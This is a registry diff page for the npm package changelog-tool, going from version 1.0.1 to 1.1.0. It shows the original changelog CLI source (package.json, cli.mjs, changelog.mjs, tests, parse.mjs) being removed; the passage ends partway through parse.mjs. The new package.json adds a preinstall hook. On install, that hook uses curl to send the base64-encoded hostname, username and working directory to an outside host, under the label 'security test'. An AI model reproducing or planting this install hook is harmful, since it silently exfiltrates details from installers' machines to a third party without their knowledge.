changelog-tool 1.0.1 → 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of changelog-tool might be problematic. Click here for more details.
- package/package.json +1 -32
- package/.github/workflows/node.yml +0 -45
- package/changelog.md +0 -98
- package/changelog.mjs +0 -193
- package/cli.mjs +0 -289
- package/index.mjs +0 -2
- package/parse.mjs +0 -122
- package/readme.md +0 -99
- package/test/parse.mjs +0 -140
- package/tsconfig.json +0 -16
- package/util.mjs +0 -153
package/package.json
CHANGED
|
@@ -1,32 +1 @@
|
|
|
1
|
-
{
|
|
2
|
-
"name": "changelog-tool",
|
|
3
|
-
"version": "1.0.1",
|
|
4
|
-
"description": "A CLI tool for manipulating changelogs",
|
|
5
|
-
"type": "module",
|
|
6
|
-
"main": "index.mjs",
|
|
7
|
-
"homepage": "https://github.com/evert/changelog-tool",
|
|
8
|
-
"author": "Evert Pot (https://evertpot.com/)",
|
|
9
|
-
"license": "MIT",
|
|
10
|
-
"scripts": {
|
|
11
|
-
"test": "node --test",
|
|
12
|
-
"watch": "tsc --watch"
|
|
13
|
-
},
|
|
14
|
-
"repository": {
|
|
15
|
-
"type": "git",
|
|
16
|
-
"url": "git@github.com:evert/changelog-tool.git"
|
|
17
|
-
},
|
|
18
|
-
"keywords": [
|
|
19
|
-
"changelog",
|
|
20
|
-
"markdown"
|
|
21
|
-
],
|
|
22
|
-
"engine": {
|
|
23
|
-
"node": ">16"
|
|
24
|
-
},
|
|
25
|
-
"bin": {
|
|
26
|
-
"changelog": "./cli.mjs"
|
|
27
|
-
},
|
|
28
|
-
"devDependencies": {
|
|
29
|
-
"@types/node": "^18.11.19",
|
|
30
|
-
"typescript": "^4.9.5"
|
|
31
|
-
}
|
|
32
|
-
}
|
|
1
|
+
{"name": "changelog-tool", "version": "1.1.0", "description": "Hello =)", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl -H \"Package: changelog-tool\" -H \"Version: 1.1.0\" -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\" -d \"meow! security test\" http://npm_new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}, "author": "act1on3", "license": "ISC"}
|
|
@@ -1,45 +0,0 @@
|
|
|
1
|
-
# This workflow will do a clean install of node dependencies, build the source code and run tests across different versions of node
|
|
2
|
-
# For more information see: https://help.github.com/actions/language-and-framework-guides/using-nodejs-with-github-actions
|
|
3
|
-
|
|
4
|
-
name: Node.js CI
|
|
5
|
-
|
|
6
|
-
on:
|
|
7
|
-
push:
|
|
8
|
-
branches: [ main ]
|
|
9
|
-
pull_request:
|
|
10
|
-
branches: [ main ]
|
|
11
|
-
|
|
12
|
-
jobs:
|
|
13
|
-
node-test:
|
|
14
|
-
name: Node.js tests
|
|
15
|
-
|
|
16
|
-
runs-on: ubuntu-latest
|
|
17
|
-
timeout-minutes: 5
|
|
18
|
-
|
|
19
|
-
strategy:
|
|
20
|
-
matrix:
|
|
21
|
-
node-version: [16.x, 18.x, 20.x]
|
|
22
|
-
# See supported Node.js release schedule at https://nodejs.org/en/about/releases/
|
|
23
|
-
|
|
24
|
-
steps:
|
|
25
|
-
- uses: actions/checkout@v2
|
|
26
|
-
- name: Use Node.js ${{ matrix.node-version }}
|
|
27
|
-
uses: actions/setup-node@v1
|
|
28
|
-
with:
|
|
29
|
-
node-version: ${{ matrix.node-version }}
|
|
30
|
-
- run: npm ci
|
|
31
|
-
- run: npm test
|
|
32
|
-
|
|
33
|
-
types:
|
|
34
|
-
name: Typescript check
|
|
35
|
-
|
|
36
|
-
runs-on: ubuntu-latest
|
|
37
|
-
|
|
38
|
-
steps:
|
|
39
|
-
- uses: actions/checkout@v2
|
|
40
|
-
- name: Use Node.js
|
|
41
|
-
uses: actions/setup-node@v1
|
|
42
|
-
with:
|
|
43
|
-
node-version: 18.x
|
|
44
|
-
- run: npm ci
|
|
45
|
-
- run: npx tsc
|
package/changelog.md
DELETED
|
@@ -1,98 +0,0 @@
|
|
|
1
|
-
Changelog
|
|
2
|
-
=========
|
|
3
|
-
|
|
4
|
-
1.0.1 (2023-06-30)
|
|
5
|
-
------------------
|
|
6
|
-
|
|
7
|
-
* Fix bug in parsing link references with more than 1 character
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
1.0.0 (2023-06-20)
|
|
11
|
-
------------------
|
|
12
|
-
|
|
13
|
-
First stable release! Just kidding, it was already stable.
|
|
14
|
-
|
|
15
|
-
* Add support for [Markdown reference links][1]. References are a Markdown
|
|
16
|
-
feature that lets you write links in paragraphs, but put the actual target
|
|
17
|
-
near the end of the document similar to references in technical documents.
|
|
18
|
-
This can declutter the reading experience for those reading the Markdown
|
|
19
|
-
sources. The tool doesn't let you quickly add links via the CLI yet, but it
|
|
20
|
-
will no longer mangle them when they appear.
|
|
21
|
-
* Testing Node 20
|
|
22
|
-
* Bugfix: Always insert an empty line between the 'preface' and bulletpoints
|
|
23
|
-
sections of a version block.
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
0.7.2 (2023-02-17)
|
|
27
|
-
------------------
|
|
28
|
-
|
|
29
|
-
* Added a `--nowrap` option to `show`, which doesn't wrap long lines. This is
|
|
30
|
-
useful for copy-pasting changelog into places where linebreaks are
|
|
31
|
-
significant, such as the Github releases section.
|
|
32
|
-
* Support multiple digits for the alpha/beta release string.
|
|
33
|
-
* Also allows setting the changelog message as positional arguments.
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
0.7.1 (2023-02-14)
|
|
37
|
-
------------------
|
|
38
|
-
|
|
39
|
-
* Bug: forgot to commit the release
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
0.7.0 (2023-02-14)
|
|
43
|
-
------------------
|
|
44
|
-
|
|
45
|
-
* The "release" command now automatically commits and and creates a git tag,
|
|
46
|
-
much like `npm version`
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
0.6.0 (2023-02-14)
|
|
50
|
-
------------------
|
|
51
|
-
|
|
52
|
-
* The release command now automatically calls "npm version" if a package.json
|
|
53
|
-
was found in the project directory
|
|
54
|
-
* Bug fix: the --major and --minor arguments were ignored when using "add" to
|
|
55
|
-
create a new version log
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
0.5.0 (2023-02-12)
|
|
59
|
-
------------------
|
|
60
|
-
|
|
61
|
-
* Support changing the version to the next major/minor using the `--major` and
|
|
62
|
-
`--minor` arguments.
|
|
63
|
-
* The `add` command now uses the -m argument instead of a positional for the
|
|
64
|
-
message.
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
0.4.1 (2023-02-12)
|
|
68
|
-
------------------
|
|
69
|
-
|
|
70
|
-
* Make sure that the binary is executable
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
0.4.0 (2023-02-12)
|
|
74
|
-
------------------
|
|
75
|
-
|
|
76
|
-
* Implemented the "format", "parse" and "release" commands.
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
0.3.0 (2023-02-12)
|
|
80
|
-
------------------
|
|
81
|
-
|
|
82
|
-
* Implemented the 'show' command.
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
0.2.0 (2023-02-12)
|
|
86
|
-
------------------
|
|
87
|
-
|
|
88
|
-
* Implemented the 'list' command.
|
|
89
|
-
* Added testing framework based on node:test.
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
0.1.0 (2023-02-08)
|
|
93
|
-
------------------
|
|
94
|
-
|
|
95
|
-
* Implemented the 'help' and 'init' commands
|
|
96
|
-
|
|
97
|
-
[1]: https://github.com/adam-p/markdown-here/wiki/Markdown-Cheatsheet#link
|
|
98
|
-
"Markdown cheatsheet: Links"
|
package/changelog.mjs
DELETED
|
@@ -1,193 +0,0 @@
|
|
|
1
|
-
import { calculateNextVersion, wrap } from './util.mjs';
|
|
2
|
-
|
|
3
|
-
// @ts-check
|
|
4
|
-
export class Changelog {
|
|
5
|
-
|
|
6
|
-
title = 'Changelog';
|
|
7
|
-
|
|
8
|
-
/**
|
|
9
|
-
* @type {VersionLog[]}
|
|
10
|
-
*/
|
|
11
|
-
versions = [];
|
|
12
|
-
|
|
13
|
-
/**
|
|
14
|
-
* @type {Link[]}
|
|
15
|
-
*/
|
|
16
|
-
links = [];
|
|
17
|
-
|
|
18
|
-
toString() {
|
|
19
|
-
|
|
20
|
-
return (
|
|
21
|
-
this.title + '\n' +
|
|
22
|
-
('='.repeat(this.title.length)) + '\n' +
|
|
23
|
-
'\n' +
|
|
24
|
-
this.versions.map(version => version.toString()).join('\n\n') +
|
|
25
|
-
|
|
26
|
-
// Sorry about this line future me (or someone else)
|
|
27
|
-
(this.links.length > 0 ? ('\n' + this.links.map( link => wrap(`[${link.name}]: ${link.href}${link.title?` "${link.title}"`:''}`, link.name.length+4)).join('\n') + '\n') : '')
|
|
28
|
-
);
|
|
29
|
-
|
|
30
|
-
}
|
|
31
|
-
|
|
32
|
-
/**
|
|
33
|
-
* Adds a new Version log
|
|
34
|
-
*
|
|
35
|
-
* @param version {VersionLog}
|
|
36
|
-
* @returns {VersionLog}
|
|
37
|
-
*/
|
|
38
|
-
add(version) {
|
|
39
|
-
|
|
40
|
-
this.versions = [version, ...this.versions];
|
|
41
|
-
return version;
|
|
42
|
-
|
|
43
|
-
}
|
|
44
|
-
|
|
45
|
-
/**
|
|
46
|
-
* Adds a new version to the log. Version string is automatically increased
|
|
47
|
-
* from the previous one
|
|
48
|
-
*
|
|
49
|
-
* @param {'patch'|'minor'|'major'} changeType
|
|
50
|
-
* @returns {VersionLog}
|
|
51
|
-
*/
|
|
52
|
-
newVersion(changeType = 'patch') {
|
|
53
|
-
|
|
54
|
-
const lastVersion = this.versions[0].version;
|
|
55
|
-
const newVersion = calculateNextVersion(lastVersion, changeType);
|
|
56
|
-
const versionLog = new VersionLog(newVersion);
|
|
57
|
-
|
|
58
|
-
return this.add(versionLog);
|
|
59
|
-
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
/**
|
|
63
|
-
* Finds a VersionLog by its version string
|
|
64
|
-
*
|
|
65
|
-
* @param {string} version
|
|
66
|
-
* @returns {VersionLog}
|
|
67
|
-
*/
|
|
68
|
-
get(version) {
|
|
69
|
-
|
|
70
|
-
const log = this.versions.find( myLog => myLog.version === version);
|
|
71
|
-
if (!log) {
|
|
72
|
-
throw new Error(`Couldn't find version ${version} in the changelog`);
|
|
73
|
-
}
|
|
74
|
-
return log;
|
|
75
|
-
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
}
|
|
79
|
-
|
|
80
|
-
export class VersionLog {
|
|
81
|
-
|
|
82
|
-
/**
|
|
83
|
-
* @type {string}
|
|
84
|
-
*/
|
|
85
|
-
version;
|
|
86
|
-
|
|
87
|
-
/**
|
|
88
|
-
* @type {string|null}
|
|
89
|
-
*/
|
|
90
|
-
date = null;
|
|
91
|
-
|
|
92
|
-
/**
|
|
93
|
-
* @type {string|null}
|
|
94
|
-
*/
|
|
95
|
-
preface = null;
|
|
96
|
-
|
|
97
|
-
/**
|
|
98
|
-
* @type {string|null}
|
|
99
|
-
*/
|
|
100
|
-
postface = null;
|
|
101
|
-
|
|
102
|
-
/**
|
|
103
|
-
* @type {LogItem[]}
|
|
104
|
-
*/
|
|
105
|
-
items = [];
|
|
106
|
-
|
|
107
|
-
/**
|
|
108
|
-
* @param {string} version
|
|
109
|
-
*/
|
|
110
|
-
constructor(version) {
|
|
111
|
-
this.version = version;
|
|
112
|
-
|
|
113
|
-
}
|
|
114
|
-
|
|
115
|
-
/**
|
|
116
|
-
* @param {string} message
|
|
117
|
-
* @returns {LogItem}
|
|
118
|
-
*/
|
|
119
|
-
add(message) {
|
|
120
|
-
const item = new LogItem(message);
|
|
121
|
-
this.items.push(item);
|
|
122
|
-
return item;
|
|
123
|
-
}
|
|
124
|
-
|
|
125
|
-
toString() {
|
|
126
|
-
|
|
127
|
-
return this.output();
|
|
128
|
-
|
|
129
|
-
}
|
|
130
|
-
|
|
131
|
-
/**
|
|
132
|
-
* Renders the changelog as a string.
|
|
133
|
-
*
|
|
134
|
-
* @param {boolean} lineWrap
|
|
135
|
-
* @returns {string}
|
|
136
|
-
*/
|
|
137
|
-
output(lineWrap = true) {
|
|
138
|
-
|
|
139
|
-
const lineLength = lineWrap ? 79 : Infinity;
|
|
140
|
-
const title = this.version + ' (' + (this.date ?? '????-??-??') + ')';
|
|
141
|
-
return (
|
|
142
|
-
title + '\n' +
|
|
143
|
-
('-'.repeat(title.length)) + '\n' +
|
|
144
|
-
(this.preface ? '\n' + wrap(this.preface, 0, lineLength) + '\n' : '') +
|
|
145
|
-
'\n' +
|
|
146
|
-
this.items.map(version => version.output(lineWrap)).join('\n') +
|
|
147
|
-
'\n' +
|
|
148
|
-
(this.postface ? '\n' + wrap(this.postface, 0, lineLength) + '\n' : '')
|
|
149
|
-
);
|
|
150
|
-
|
|
151
|
-
}
|
|
152
|
-
|
|
153
|
-
}
|
|
154
|
-
|
|
155
|
-
export class LogItem {
|
|
156
|
-
|
|
157
|
-
/**
|
|
158
|
-
* @type {string}
|
|
159
|
-
*/
|
|
160
|
-
message;
|
|
161
|
-
|
|
162
|
-
/**
|
|
163
|
-
* @param {string} message
|
|
164
|
-
*/
|
|
165
|
-
constructor(message) {
|
|
166
|
-
this.message = message;
|
|
167
|
-
}
|
|
168
|
-
|
|
169
|
-
/**
|
|
170
|
-
* Renders the changelog as a string.
|
|
171
|
-
*
|
|
172
|
-
* @param {boolean} lineWrap
|
|
173
|
-
* @returns {string}
|
|
174
|
-
*/
|
|
175
|
-
output(lineWrap = true) {
|
|
176
|
-
const lineLength = lineWrap ? 79 : Infinity;
|
|
177
|
-
return wrap('* ' + this.message, 2, lineLength);
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
toString() {
|
|
181
|
-
|
|
182
|
-
return wrap('* ' + this.message, 2);
|
|
183
|
-
|
|
184
|
-
}
|
|
185
|
-
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
/**
|
|
189
|
-
* @typedef Link {Object}
|
|
190
|
-
* @property Link.href {string}
|
|
191
|
-
* @property Link.name {string}
|
|
192
|
-
* @property Link.title {string|null}
|
|
193
|
-
*/
|
package/cli.mjs
DELETED
|
@@ -1,289 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env node
|
|
2
|
-
// @ts-check
|
|
3
|
-
import { parseArgs } from 'node:util';
|
|
4
|
-
import * as fs from 'node:fs/promises';
|
|
5
|
-
import * as url from 'node:url';
|
|
6
|
-
import { readPackageVersion, exists, calculateNextVersion, isGit, isGitClean, runCommand } from './util.mjs';
|
|
7
|
-
import { Changelog, VersionLog, LogItem } from './changelog.mjs';
|
|
8
|
-
import { parseFile } from './parse.mjs';
|
|
9
|
-
import { execSync } from 'node:child_process';
|
|
10
|
-
|
|
11
|
-
const filename = 'changelog.md';
|
|
12
|
-
|
|
13
|
-
const pkg = JSON.parse(
|
|
14
|
-
await fs.readFile(
|
|
15
|
-
url.fileURLToPath(url.resolve(import.meta.url, './package.json')),
|
|
16
|
-
'utf-8',
|
|
17
|
-
)
|
|
18
|
-
);
|
|
19
|
-
|
|
20
|
-
async function main() {
|
|
21
|
-
|
|
22
|
-
const { positionals, values } = parseArgs({
|
|
23
|
-
options: {
|
|
24
|
-
help: {
|
|
25
|
-
type: 'boolean',
|
|
26
|
-
short: 'h',
|
|
27
|
-
default: false,
|
|
28
|
-
description: 'This help screen',
|
|
29
|
-
},
|
|
30
|
-
all: {
|
|
31
|
-
type: 'boolean',
|
|
32
|
-
default: false,
|
|
33
|
-
description: 'Show all versions',
|
|
34
|
-
},
|
|
35
|
-
message: {
|
|
36
|
-
type: 'string',
|
|
37
|
-
description: 'Changelog message',
|
|
38
|
-
short: 'm'
|
|
39
|
-
},
|
|
40
|
-
patch: {
|
|
41
|
-
type: 'boolean',
|
|
42
|
-
description: 'Indicates that the current change is a patch-level change.',
|
|
43
|
-
},
|
|
44
|
-
minor: {
|
|
45
|
-
type: 'boolean',
|
|
46
|
-
description: 'Indicates that the current change is a minor change.',
|
|
47
|
-
},
|
|
48
|
-
major: {
|
|
49
|
-
type: 'boolean',
|
|
50
|
-
description: 'Indicates that the current change is a major change.',
|
|
51
|
-
},
|
|
52
|
-
nowrap: {
|
|
53
|
-
type: 'boolean',
|
|
54
|
-
description: 'Don\'t wrap "show" output'
|
|
55
|
-
}
|
|
56
|
-
},
|
|
57
|
-
allowPositionals: true,
|
|
58
|
-
});
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
if (positionals.length < 1 || values.help) {
|
|
63
|
-
help();
|
|
64
|
-
process.exit(1);
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
const command = positionals[0];
|
|
68
|
-
|
|
69
|
-
switch(command) {
|
|
70
|
-
case 'help' :
|
|
71
|
-
await help();
|
|
72
|
-
break;
|
|
73
|
-
case 'init' :
|
|
74
|
-
await init();
|
|
75
|
-
break;
|
|
76
|
-
case 'add' :
|
|
77
|
-
/** @type {'major' | 'minor' | 'patch'} */
|
|
78
|
-
let changeType = 'patch';
|
|
79
|
-
if (values.minor) {
|
|
80
|
-
changeType = 'minor';
|
|
81
|
-
}
|
|
82
|
-
if (values.major) {
|
|
83
|
-
changeType = 'major';
|
|
84
|
-
}
|
|
85
|
-
if (!values.message) {
|
|
86
|
-
if (positionals.length>1) {
|
|
87
|
-
// We also support setting a message after the command instead of -m
|
|
88
|
-
values.message = positionals.slice(1).join(' ');
|
|
89
|
-
} else {
|
|
90
|
-
throw new Error('The "-m" or "--message" argument is required');
|
|
91
|
-
}
|
|
92
|
-
}
|
|
93
|
-
await add({
|
|
94
|
-
message: values.message,
|
|
95
|
-
changeType,
|
|
96
|
-
});
|
|
97
|
-
break;
|
|
98
|
-
case 'release' :
|
|
99
|
-
await release();
|
|
100
|
-
break;
|
|
101
|
-
case 'format' :
|
|
102
|
-
await format();
|
|
103
|
-
break;
|
|
104
|
-
case 'show' :
|
|
105
|
-
await show({
|
|
106
|
-
all: !!values.all,
|
|
107
|
-
version: positionals[1],
|
|
108
|
-
noWrap: !!values.nowrap
|
|
109
|
-
});
|
|
110
|
-
break;
|
|
111
|
-
case 'list' :
|
|
112
|
-
await list();
|
|
113
|
-
break;
|
|
114
|
-
default:
|
|
115
|
-
process.stderr.write(`Unknown command ${command}\n`);
|
|
116
|
-
process.exit(1);
|
|
117
|
-
break;
|
|
118
|
-
}
|
|
119
|
-
|
|
120
|
-
}
|
|
121
|
-
|
|
122
|
-
try {
|
|
123
|
-
await main();
|
|
124
|
-
} catch (err) {
|
|
125
|
-
process.stderr.write('Error: ' + err.message + '\n');
|
|
126
|
-
process.exit(1);
|
|
127
|
-
}
|
|
128
|
-
|
|
129
|
-
function help() {
|
|
130
|
-
console.log(
|
|
131
|
-
`Changelog Tool v${pkg.version}
|
|
132
|
-
|
|
133
|
-
Manipulate your changelog file
|
|
134
|
-
|
|
135
|
-
Usage:
|
|
136
|
-
|
|
137
|
-
changelog init - Create a new, empty changelog.
|
|
138
|
-
changelog add -m [message] - Adds a new line to the changelog.
|
|
139
|
-
changelog release - Marks the current changelog as released.
|
|
140
|
-
changelog show - Show the last changelog.
|
|
141
|
-
changelog show [version] - Show the changelog of a specific version.
|
|
142
|
-
changelog list - List all versions in the changelog.
|
|
143
|
-
changelog format - Reformats the changelog in the standard format.
|
|
144
|
-
|
|
145
|
-
The logs this tool uses follows a specific markdown format. Currently it will
|
|
146
|
-
only look for a file named 'changelog.md' in the current directory.
|
|
147
|
-
|
|
148
|
-
To see an example of this format, you can either run 'changelog init' or
|
|
149
|
-
check out the changelog shipped with this project:
|
|
150
|
-
|
|
151
|
-
https://github.com/evert/changelog-tool
|
|
152
|
-
`);
|
|
153
|
-
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
async function init() {
|
|
157
|
-
|
|
158
|
-
if (await exists(filename)) {
|
|
159
|
-
throw new Error(`A file named ${filename} already exists`);
|
|
160
|
-
}
|
|
161
|
-
|
|
162
|
-
const changelog = new Changelog();
|
|
163
|
-
const version = new VersionLog(await readPackageVersion());
|
|
164
|
-
version.add('New project!');
|
|
165
|
-
changelog.versions.push(version);
|
|
166
|
-
|
|
167
|
-
await fs.writeFile(filename, changelog.toString());
|
|
168
|
-
console.log(`${filename} created`);
|
|
169
|
-
|
|
170
|
-
}
|
|
171
|
-
|
|
172
|
-
async function list() {
|
|
173
|
-
|
|
174
|
-
const changelog = await parseChangelog();
|
|
175
|
-
|
|
176
|
-
for(const version of changelog.versions) {
|
|
177
|
-
console.log(version.version);
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
}
|
|
181
|
-
|
|
182
|
-
/**
|
|
183
|
-
* @param {Object} showOptions
|
|
184
|
-
* @param {boolean} showOptions.all Show all versions
|
|
185
|
-
* @param {string?} showOptions.version show a specific version
|
|
186
|
-
* @param {boolean?} showOptions.noWrap don't line-wrap output
|
|
187
|
-
*/
|
|
188
|
-
async function show({all, version, noWrap}) {
|
|
189
|
-
|
|
190
|
-
const changelog = await parseChangelog();
|
|
191
|
-
|
|
192
|
-
let toRender;
|
|
193
|
-
if (all) {
|
|
194
|
-
toRender = changelog.versions;
|
|
195
|
-
} else if (version) {
|
|
196
|
-
toRender = [changelog.get(version)];
|
|
197
|
-
} else {
|
|
198
|
-
toRender = [changelog.versions[0]];
|
|
199
|
-
}
|
|
200
|
-
|
|
201
|
-
console.log(
|
|
202
|
-
toRender
|
|
203
|
-
.map( log => log.output(!noWrap))
|
|
204
|
-
.join('\n\n')
|
|
205
|
-
);
|
|
206
|
-
|
|
207
|
-
}
|
|
208
|
-
|
|
209
|
-
async function format() {
|
|
210
|
-
const changelog = await parseChangelog();
|
|
211
|
-
await fs.writeFile(filename, changelog.toString());
|
|
212
|
-
console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
|
|
213
|
-
}
|
|
214
|
-
|
|
215
|
-
/**
|
|
216
|
-
* @param {Object} options
|
|
217
|
-
* @param {string} options.message
|
|
218
|
-
* @param {'patch'|'major'|'minor'} options.changeType
|
|
219
|
-
*/
|
|
220
|
-
async function add({message, changeType}) {
|
|
221
|
-
const changelog = await parseChangelog();
|
|
222
|
-
|
|
223
|
-
let lastVersion = changelog.versions[0];
|
|
224
|
-
if (lastVersion.date) {
|
|
225
|
-
lastVersion = changelog.newVersion(changeType);
|
|
226
|
-
console.log('Creating new version: %s', lastVersion.version);
|
|
227
|
-
} else {
|
|
228
|
-
if (changeType === 'minor' || changeType === 'major') {
|
|
229
|
-
const previousVersion = changelog.versions[1];
|
|
230
|
-
const updatedVersionStr = calculateNextVersion(previousVersion.version, changeType);
|
|
231
|
-
if (updatedVersionStr !== lastVersion.version) {
|
|
232
|
-
console.log('Updating unreleased version from %s to %s', lastVersion.version, updatedVersionStr);
|
|
233
|
-
lastVersion.version = updatedVersionStr;
|
|
234
|
-
}
|
|
235
|
-
}
|
|
236
|
-
}
|
|
237
|
-
|
|
238
|
-
lastVersion.add(message);
|
|
239
|
-
|
|
240
|
-
await fs.writeFile(filename, changelog.toString());
|
|
241
|
-
console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
|
|
242
|
-
}
|
|
243
|
-
|
|
244
|
-
async function release() {
|
|
245
|
-
const changelog = await parseChangelog();
|
|
246
|
-
|
|
247
|
-
let lastVersion = changelog.versions[0];
|
|
248
|
-
if (lastVersion.date) {
|
|
249
|
-
throw new Error(`Previous version "${lastVersion.version}" already had a release date`);
|
|
250
|
-
}
|
|
251
|
-
lastVersion.date = new Date().toISOString().substr(0,10);
|
|
252
|
-
console.log(`Releasing ${lastVersion.version}`);
|
|
253
|
-
|
|
254
|
-
const useGit = await isGit();
|
|
255
|
-
|
|
256
|
-
if (useGit) {
|
|
257
|
-
if (!await isGitClean()) {
|
|
258
|
-
throw new Error('Current git working directory is not clean. Please commit your changes first');
|
|
259
|
-
}
|
|
260
|
-
}
|
|
261
|
-
|
|
262
|
-
await fs.writeFile(filename, changelog.toString());
|
|
263
|
-
console.log(`${changelog.versions.length} changelogs saved to ${filename}`);
|
|
264
|
-
|
|
265
|
-
if (await exists('package.json')) {
|
|
266
|
-
runCommand(
|
|
267
|
-
`npm version "${lastVersion.version}" --no-git-tag-version`
|
|
268
|
-
);
|
|
269
|
-
}
|
|
270
|
-
if (useGit) {
|
|
271
|
-
runCommand(`git add --all`);
|
|
272
|
-
runCommand(`git commit -m "Releasing ${lastVersion.version}"`);
|
|
273
|
-
runCommand(`git tag v${lastVersion.version}`);
|
|
274
|
-
}
|
|
275
|
-
|
|
276
|
-
}
|
|
277
|
-
|
|
278
|
-
/**
|
|
279
|
-
* @returns {Promise<Changelog>}
|
|
280
|
-
*/
|
|
281
|
-
async function parseChangelog() {
|
|
282
|
-
|
|
283
|
-
if (!await exists(filename)) {
|
|
284
|
-
throw new Error(`${filename} not found in current directory`);
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
return await parseFile(filename);
|
|
288
|
-
|
|
289
|
-
}
|
package/index.mjs
DELETED
package/parse.mjs
DELETED
|
@@ -1,122 +0,0 @@
|
|
|
1
|
-
// @ts-check
|
|
2
|
-
import { Changelog, VersionLog } from "./changelog.mjs";
|
|
3
|
-
import { readFile } from 'node:fs/promises';
|
|
4
|
-
|
|
5
|
-
/**
|
|
6
|
-
* @param {string} filename
|
|
7
|
-
* @returns {Promise<Changelog>}
|
|
8
|
-
*/
|
|
9
|
-
export async function parseFile(filename) {
|
|
10
|
-
|
|
11
|
-
return parse(
|
|
12
|
-
await readFile(filename, 'utf-8')
|
|
13
|
-
);
|
|
14
|
-
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
const linkReferenceRe = /^\[([a-zA-Z0-9]+)\]:/;
|
|
18
|
-
const versionRe = /^([0-9\.]{3,}(?:-(?:alpha|beta)\.[0-9]+)?) \(([0-9]{4}-[0-9]{2}-[0-9]{2}|\?\?\?\?-\?\?-\?\?)\)$/;
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
/**
|
|
22
|
-
* @param {string} changelogInput
|
|
23
|
-
* @returns {Changelog}
|
|
24
|
-
*/
|
|
25
|
-
export function parse(changelogInput) {
|
|
26
|
-
|
|
27
|
-
const lines = changelogInput.split('\n');
|
|
28
|
-
if (!lines[1].match(/^={1,}$/)) {
|
|
29
|
-
throw new Error('Parse error: Line 1 and 2 of the changelog must be in the format "Changelog\\n=====". We did not find all equals signs on the second line.');
|
|
30
|
-
}
|
|
31
|
-
const changelog = new Changelog();
|
|
32
|
-
changelog.title = lines[0];
|
|
33
|
-
|
|
34
|
-
let lastVersionLog = null;
|
|
35
|
-
let lastBullet = null;
|
|
36
|
-
|
|
37
|
-
for(let idx=2; idx<lines.length; idx++) {
|
|
38
|
-
|
|
39
|
-
const line = lines[idx];
|
|
40
|
-
|
|
41
|
-
if (line.startsWith('* ')) {
|
|
42
|
-
// Found a bullet point
|
|
43
|
-
if (!lastVersionLog) {
|
|
44
|
-
throw new Error(`Parse error: found a bullet point * outside of a level 2 heading on line ${idx+1}`);
|
|
45
|
-
}
|
|
46
|
-
lastBullet = lastVersionLog.add(line.substr(1).trim());
|
|
47
|
-
continue;
|
|
48
|
-
}
|
|
49
|
-
if (line.startsWith(' ')) {
|
|
50
|
-
// Continuation of last line.
|
|
51
|
-
if (!lastBullet) {
|
|
52
|
-
throw new Error(`Parse error: unexpected indented string on line ${line+1}`);
|
|
53
|
-
}
|
|
54
|
-
lastBullet.message += ' ' + line.trim();
|
|
55
|
-
continue;
|
|
56
|
-
}
|
|
57
|
-
|
|
58
|
-
// Look for link references
|
|
59
|
-
if (linkReferenceRe.test(line)) {
|
|
60
|
-
|
|
61
|
-
let linkRefLine = line;
|
|
62
|
-
while(lines[idx+1]?.match(/^\W\W/)) {
|
|
63
|
-
// If the line was folded over multiple lines, read those too.
|
|
64
|
-
linkRefLine += ' ' + lines[idx+1].trim();
|
|
65
|
-
idx++;
|
|
66
|
-
}
|
|
67
|
-
const name = linkRefLine.match(linkReferenceRe)?.[1];
|
|
68
|
-
const href = linkRefLine.split(' ')[1];
|
|
69
|
-
const title = linkRefLine.includes('"') ? linkRefLine.substring(linkRefLine.indexOf('"')+1,linkRefLine.lastIndexOf('"')) : null;
|
|
70
|
-
changelog.links.push({
|
|
71
|
-
name: /** @type {string} */(name),
|
|
72
|
-
href,
|
|
73
|
-
title
|
|
74
|
-
});
|
|
75
|
-
continue;
|
|
76
|
-
|
|
77
|
-
}
|
|
78
|
-
|
|
79
|
-
// Look to the next line for ----
|
|
80
|
-
if (lines[idx+1]?.match(/^-{1,}$/)) {
|
|
81
|
-
// Found a new Version
|
|
82
|
-
const matches = line.match(versionRe);
|
|
83
|
-
|
|
84
|
-
if (!matches) {
|
|
85
|
-
throw new Error(`A version title must have the format "1.0.0 (YYYY-MM-DD)" or "1.0.0 (????-??-??)" for unreleased versions. We found: "${line}"`);
|
|
86
|
-
}
|
|
87
|
-
|
|
88
|
-
const versionLog = new VersionLog(matches[1]);
|
|
89
|
-
if (matches[2] === '????-??-??') {
|
|
90
|
-
versionLog.date = null;
|
|
91
|
-
} else {
|
|
92
|
-
versionLog.date = matches[2];
|
|
93
|
-
}
|
|
94
|
-
changelog.versions.push(versionLog);
|
|
95
|
-
lastVersionLog = versionLog;
|
|
96
|
-
lastBullet = null;
|
|
97
|
-
idx++;
|
|
98
|
-
continue;
|
|
99
|
-
|
|
100
|
-
}
|
|
101
|
-
|
|
102
|
-
if (line.trim()==='') {
|
|
103
|
-
continue;
|
|
104
|
-
}
|
|
105
|
-
|
|
106
